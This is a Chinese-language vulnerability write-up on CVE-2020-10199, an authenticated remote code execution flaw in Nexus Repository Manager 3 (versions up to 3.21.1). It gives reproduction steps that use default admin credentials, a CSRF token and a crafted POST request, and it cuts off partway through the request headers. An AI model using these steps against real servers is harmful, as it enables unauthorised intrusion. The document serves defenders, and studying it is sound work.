Nexus Repository Manager3( CVE-2020-10199) 远程命令执行漏洞排查

目录

概述

影响版本

漏洞复现

应急排查

修复建议

---

概述

nexus的全称是Nexus Repository Manager，是Sonatype公司的一个产品。它是一个强大的仓库管理器，极大地简化了内部仓库的维护和外部仓库的访问。

主要用它来搭建公司内部的maven私服。但是它的功能不仅仅是创建maven私有仓库这么简单，还可以作为nuget、docker、npm、bower、pypi、rubygems、git lfs、yum、go、apt等的私有仓库，功能非常强大。

在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中，由于某处功能安全处理不当，导致经过授权认证的攻击者，可以在远程通过构造恶意的 HTTP 请求，在服务端执行任意恶意代码，获取系统权限。此漏洞的利用需要攻击者具备任意类型的账号权限。

影响版本

Nexus Repository Manager OSS/Pro 3.x <= 3.21.1

漏洞复现

首先使用账号密码登录后台：admin/admin，登录成功后使用F12找到cookiee并且复制csrf-Token的值

 

1、测试漏洞poc

浏览器访问”http://192.168.52.131:8081/service/rest/beta/repositories/go/group”，并使用burpsuite抓包，将上一步获取的cookie和“NX-ANTI-CSRF-TOKEN”粘贴上去，可以看到成功执行”3*3*3“的指令

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 192.168.52.131:8081
Content-Length: 203
Cache-Control: max-age=0
Upgrade-Insecure-Requests: